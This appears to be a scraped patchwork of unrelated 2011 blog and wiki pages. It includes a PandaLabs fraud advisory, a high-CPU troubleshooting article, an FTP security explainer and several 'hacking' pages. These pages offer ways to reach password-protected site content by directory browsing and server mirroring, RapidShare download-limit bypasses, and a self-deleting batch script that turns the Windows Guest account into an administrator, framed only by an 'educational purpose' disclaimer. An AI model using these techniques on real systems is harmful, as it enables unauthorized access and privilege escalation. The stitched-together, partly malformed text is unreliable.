Given the viral nature of Facebook networks, it is fair to assume that this message will spread exponentially leading to very high infection rates. Corrons adds, "Users of social networks like this normally trust the messages they receive, so the number of reads and clicks is often very high. Clearly, in addition to the security measures of the social network itself, users have to take on board certain security and personal privacy basics, to avoid falling victim to fraud and contributing to its propagation."

To prevent this type of fraud, PandaLabs offers the following advice:
  1. Don't click suspicious links from non-trusted sources. This should apply to messages received through Facebook, through other social networks and even via email.
  2. If you do click on any such link, check the target page carefully (in this example, it is clearly a fraud) and if you don't recognize it, close your browser.
  3. Even if you don't see anything strange in the target page, but you are asked to download something, don't accept.
  4. If, however, you have still gone ahead and downloaded and installed some type of executable file, and your computer begins to launch messages saying that you are infected and that you should buy an antivirus, this is most likely a fraud. Never entered your credit card details, as you will be putting your money at direct risk. And above all, make sure you get a second opinion on the security of your system with any reliable free online security solution such as Panda ActiveScan.
  5. As a general rule, make sure your computer is well protected to ensure that you are not exposed to the risk of infection from any malicious code. You can protect yourself with the new, free Panda Cloud Antivirus solution (
About PandaLabs
Since 1990, its mission has been to detect and eliminate new threats as rapidly as possible to offer our clients maximum security. To do so, PandaLabs has an innovative automated system that analyzes and classifies thousands of new samples a day and returns automatic verdicts (malware or goodware). This system is the basis of collective intelligence, Panda Security's new security model which can even detect malware that has evaded other security solutions.

Currently, 94 percent of malware detected by PandaLabs is analyzed through this system of collective intelligence. This is complemented through the work of several teams, each specialized in a specific type of malware (viruses, worms, Trojans, spyware, phishing, spam, etc), working 24/7 to provide global coverage. This translates into more secure, simpler and more resource-friendly solutions for clients.


Causes And Solutions To High CPU Usage Issues

Is your computer taking ages to open an application or to start or shutdown Windows?

Is slow computer speed affecting your productivity?

Are you a victim of frequent computer freeze ups?

Before you seek assistance from a computer expert or upgrade your hardware, we recommend that you take a glance at your Windows Task Manager window. More often than not, slow computer issues are the result of excessive CPU consumption by one or more running processes, such as the werfault.exe or nbservice.exe processes.

The purpose of this article is to provide users with solutions to high CPU usage issues. To begin, let’s take a look at reasons due to which one or more processes on your computer may consume excessive CPU resources:

  • Malware infection
  • Registry Issues.
  • Outdated or Incompatible software.
  • Conflicting software

To resolve high CPU usage issues, perform the following steps:

Run a malware scan

Malware programs upon entering a system unleash innumerable processes that may consume huge amounts of CPU resources and slow down your computer. Also, malware may infect your otherwise good files and cause them to report high CPU usage. Run a malware scan on your computer to ensure your PC is not infected. If threats are reported in the scan, immediately delete them to resolve high CPU usage issues.

Perform a registry scan

The next step is to clean your registry. A corrupt registry can considerably slow down your computer speed and if timely action is not taken may even cause various errors. To clean your registry, seek the assistance of a reliable Windows registry cleaner tool.

Update your software

If the above steps fail to fix the high CPU usage issue, identify the program to which the process(s) that is consuming excessive CPU resources belongs to.

After you have identified the software, check if the software you are using is compatible with your version of Windows. If the software is incompatible, then you will need to either install the latest version of the software or choose another software that is compatible with your operating system.

If the software you are using is compatible then check whether its files are up-to-date or not. Outdated files not only can cause your computer speed to drop, but may also cause frequent errors. To update your software files, visit the software manufacturer’s website and download the latest available updates and security patches.

Uninstall any conflicting software

It is possible that you may have unknowingly installed conflicting software. If this is the case, then you will need to uninstall one of the software to resolve the high CPU usage issue. For instance, if you have installed two anti-virus programs and are perplexed by high CPU usage consumption of processes belonging to either or both the antivirus programs, then uninstall either of the antivirus programs to fix the issue permanently.

If the above steps fail to resolve the high CPU usage issue then it is likely that the culprit process(s) that is consuming high CPU resources is designed that way. What we mean is that consuming huge amounts of resources is its normal behavior. In such as case, nothing much can be done, other than removing its associated program and using another software of the same kind, one which consumes less resources.

Remember – slow and steady doesn’t work when usingcomputers. Instead, your mantra should be fast but steady… and this exactly what the above steps will help you achieve.

Sunday, April 24, 2011

iPhone 5 Rumor Complete Layout has created a beautiful rumor summary infographic for the iPhone 5.
New design, brushed metal back, sliding keyboard, larger screen, contactless payments, etc … The more serious the most outrageous rumors about the iPhone 5 are already many and it becomes difficult to sort among all the brouhaha … In order to simplify the task and as I already did last year, I decided to synthesize all these rumors in the form a computer graphics, computer graphics and how! … Complete Layout below….


Hacking Pssword Protected Website'sThis is a featured page

warning : For educational purpose only

Be carefull.........And Remember It's just only educational purpose only
@ Krunal Upadhyay

here are many ways to defeat java-script protected websites. Some are very simplistic, such as hitting
[ctl-alt-del ]when the password box is displayed, to simply turning offjava capability, which will dump you into the default page.You can try manually searching for other directories, by typing the directory name into the url address box of your browser, ie: you want access to .

Try typing .(almost ever y web site has an images directory) This will put you into the images directory,and give you a text list of all the images located there. Often, the title of an image will give you a clue to the name of another directory. ie: in, there is a .gif named gamestitle.gif . There is a good chance then, that there is a 'games' directory on the site,so you would then type in, and if it isa valid directory, you again get a text listing of all the files available there.

For a more automated approach, use a program like WEB SNAKE from anawave, or Web Wacker. These programs will create a mirror image of an entire web site, showing all director ies,or even mirror a complete server. They are indispensable for locating hidden files and directories.What do you do if you can't get past an opening "PasswordRequired" box? . First do an WHOIS Lookup for the site. In our example, . We find it's hosted by at 100.100.100. 1.

We then go to, and then launch \Web Snake, and mirror the entire server. Set Web Snake to NOT download anything over about 20K. (not many HTML pages are bigger than this) This speeds things up some, and keeps you from getting a lot of files and images you don't care about. This can take a long time, so consider running it right before bed time. Once you have an image of the entire server, you look through the directories listed, and find /target. When we open that directory, we find its contents, and all of its sub-directories listed. Let's say we find /target/games/zip/zipindex.html . This would be the index page that would be displayed had you gone through the password procedure, and allowed it to redirect you here.By simply typing in the url you will be onthe index page and ready to follow the links for downloading.


RapidShare HACKINGThis is a featured page

Most Trusted n Complete Working HACK

rapidshare hackin: Rahul

  • Simply Copy the CODE given below

  • Open Command prompt. ( run ->cmd )

  • Paste the Content There. [ Hope u know how to paste on the cmd Prompt ]

  • Now try the rapidshare link again

  • and it wont ask you to Wait for more than ONE minute.

@echo off
echo ipconfig /flushdns
ipconfig /flushdns
echo ipconfig /release
ipconfig /release
echo ipconfig /renew
ipconfig /renew

well it is known trick now nothing new in it


Keep checking this page for working Premium Rapidshare "user id" and "passwords"
Advanced Rapid Share Hack
Keep posting if u know more

New working trick .. genuine

After searching a lot i found dis amazing thing. its like a proxy browser called can change ur permanent IP to static IP. so jus wen u restart ur browser u will hav new IP... u can also set intervals between changing ur now download mutliple files at d same also has integration of IDM with it..

Rapidshare hacking


u have to close this perticular browser than open again and it will start downloading from RAPIDSHARE again no need to disconnect..

google it download n ~cheers~

Easy Way to Delete Rapidshare Cookie

If you logged into Rapidshare with an account that was detected by fraud detection you will need to delete the Rapidshare cookie. You could either:
  • Delete all the cookies, but this will makeyou have to login back into every website that you told the browser to auto login for you.
  • Go through every cookie and find that one rapidshare cookie.

Delete Rapidshare Cookie

So, here comes this little trick! You could bookmark this link and click it every timeyou need to delete ONLYRapidshare cookie:

3. Use a proxy with SwitchProxy and Firefox:

4. Use an anonymous service:

Running your system through the tor network should in theory work; however, it is difficult to use and setup. Plus, you allow others to run their evil deeds through your system as well by using this systemks.. u need to download Firefox 1.5 for it.. u can get the same by typing "Firefox old apps" in google. begin tor by enabling it on Firefox(right bottom)

Anonymizer is inexpensive, easy to use, but not free. Other pay services would likely work as well.

The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors.

The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment. But most of the time, that advantage is available only to people with the programming skills to make the changes they want. That's where Greasemonkey, a free plug-in for Firefox, comes in -- it simplifies hacking the browser.

Released at the end 2004, Greasemonkey is the latest in a growing arsenal of Firefox customization tools. It changes how Web pages look and act by altering the rendering process. Greasemonkey is to Firefox what aftermarket parts are to cars -- it lets you personalize your browser by making it faster and more powerful or simply by making browsing more aesthetically pleasing. How and why you will use Greasemonkey (and I predict you will, if you don't already) will depend on how you browse now.


1) Install the Greasemonkey extension >>

2) Restart Firefox

3) Go to


4) Right click on rapidshare.user.js and choose "Install User Script".

Run FireFox.
From File Menu click on Open File then brouse to whereever you saved the 'greasemonkey.xpi' plug-in. Open it, wait a couple seconds for the install button becomes active. Click on it to install this plug-in then CLOSE FIREFOX.
Run FireFox again. From the File Menu click on Open File then brouse to whereever you saved the 'rapidshare.user.js'. Open it. Click the Tools Menu then click on Install User Script then click OK.
Close FireFox.

The script will let you enjoy "no wait" and multiple file downloads

Convert Guest to admin in windows Xp

echo off
title Please wait...
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Copy it in NOTEPAD and save the file as "Guest2admin.bat"

then u can double click the file to execute or run in the cmd.
it works...

Note : Make sure that you have Guest profile on

Saturday, April 23, 2011

View or export more than 10 rows of data in Google Analytics

Google Analytics is by far the most advanced Web Analytics Tool available on the web. With custom reporting, advanced segments and other advanced tools, Google Analytics help you gather a customized report of your traffic stats. Google Analytics lets you export all sorts of report generated through it but by default only about 10 results/row are shown. Here’s how you can get more rows of data and export them.
Open any analytics report like report by sources, content etc. By default, you’ll see only 10 rows of data. Scroll down to the bottom and from the show rows dropdown, choose from 10 to 500 depending on how lengthy a report you require. This done, you’ll now see more rows and thus can gather more data from a single page. This can be helpful for exporting your data as well. Google Analytics only lets you export the data that is visible at a time. By default, only 10 rows of data are visible and even if you export the data, you’ll only be able to export those 10 rows at a time. So, pick the option for displaying 500 rows at a time and export more data in a single go.
Google Analytics more rows
You can also do this by modifying you URL. at the end of the URL of a report page, append “&trows=500” (without quotes) and press Enter. You’ll then have a much elaborate data with 500 rows. But you can’t have more than 500 rows even if you take a larger number to add at the end of the URL.
Thus you can get a broader overview and export more data from your Google Analytics reporting.

FTP SECURITY..........

File Transfer Protocol - FTP Security

At the very high stage, the File Transfer Protocol, FTP security extensions try to offer an abstract method for authorizing connections, and privacy protecting instructions, replies, and data transfers.

In the view of FTP security, validation is the basis of a client’s/server’s identity in a secure system, usually using cryptographic actions. The basic File Transfer Protocol does not have a assumption of validation.

Without the security extensions, validation of the client, as this phrase is usually understood, never happens. File Transfer Protocol, FTP authorization is accomplished with a password passed on the network in the clear as the argument to the PASS command. As the user named in the USER command, the owner of this password is believed to be authoritative to transfer files, but the identity of the user is never securely recognized.

A FTP security communication begins with a client telling the server what security system it wants to use. The server will either deny this system, accept this system, or in the case of a server which does not put into action the security extensions, reject the command fully.

The client may try multiple security systems until it requests one which the server accepts. This allows a simple form of arbitration to take place. The server’s response will specify if the client needs to respond with additional data for the security system to understand. If nothing is needed, that means system is one, where the provided password is to be interpreted in a different way, with a token or one-time password system.

If the server requests additional security information, then the client and server will enter into a secured data exchange. An ADAT command containing the first block of security data will be send by the client. The server’s respond will specify if the data exchange is complete, if there was an error, or if more data is needed.

The server’s respond can optionally contain security data for the client to understand. If more data is needed, the client will send another ADAT command containing the next block of data, and await the server’s response. This can continue as many times as needed. Once this exchange finishes, the server and client have established a security association. This association may include confirmation and keying information for privacy, depending on the system in use.

The phrase “security data” here is carefully selected. The reason of the security data exchange is to create a security association, which may not include any validation, between the server and the client as explained above. If a FTP server has an RSA key pair but the client doesn’t, then the client can authenticate the server, but the server can’t authenticate the client.

Once a security association is recognized, validation may be used instead of the standard exchange for authorizing a user to connect to the server. A username is always needed to identify the identity to be used on the server.

In order to stop an attacker from using commands on the control stream, then the client and server must exercise integrity protection on the control stream, unless it first transmits a CCC command to turn off this necessity. The CCC command and its response must be passed on with integrity protection. Commands and responses may be passed on without integrity only if no security association is recognized, the negotiated security association does not support integrity, or the CCC command has succeeded.

Once the server and client have negotiated with the PBSZ command an acceptable buffer size for encapsulating protected data over the data channel, the security system may also be applied to protect data channel transfers.

Policy is not specified by this document. In particular, server and client implementations may choose to apply restrictions on what operations can be carried out depending on the existed security association. For example, a server may require that a user authorize via a security system rather than using a password, want that the user provide a single-time password from a token, need at least integrity protection on the command channel, or require that definite files only be transmitted encrypted. An anonymous ftp user might refuse to do file transfers without integrity protection in order to assure the legitimacy of files downloaded.

No exact set of functionality is needed, except as dependencies explained in the next section. This indicates that none of validation or confidentiality is needed of an execution, although a system is not of any use which doesn’t do any of these things. For example, it is admirable for a system to apply only integrity protection, one-way validation/encryption, encryption without any integrity protection, or any other subset of functionality if guidelines or technical considerations make this desirable.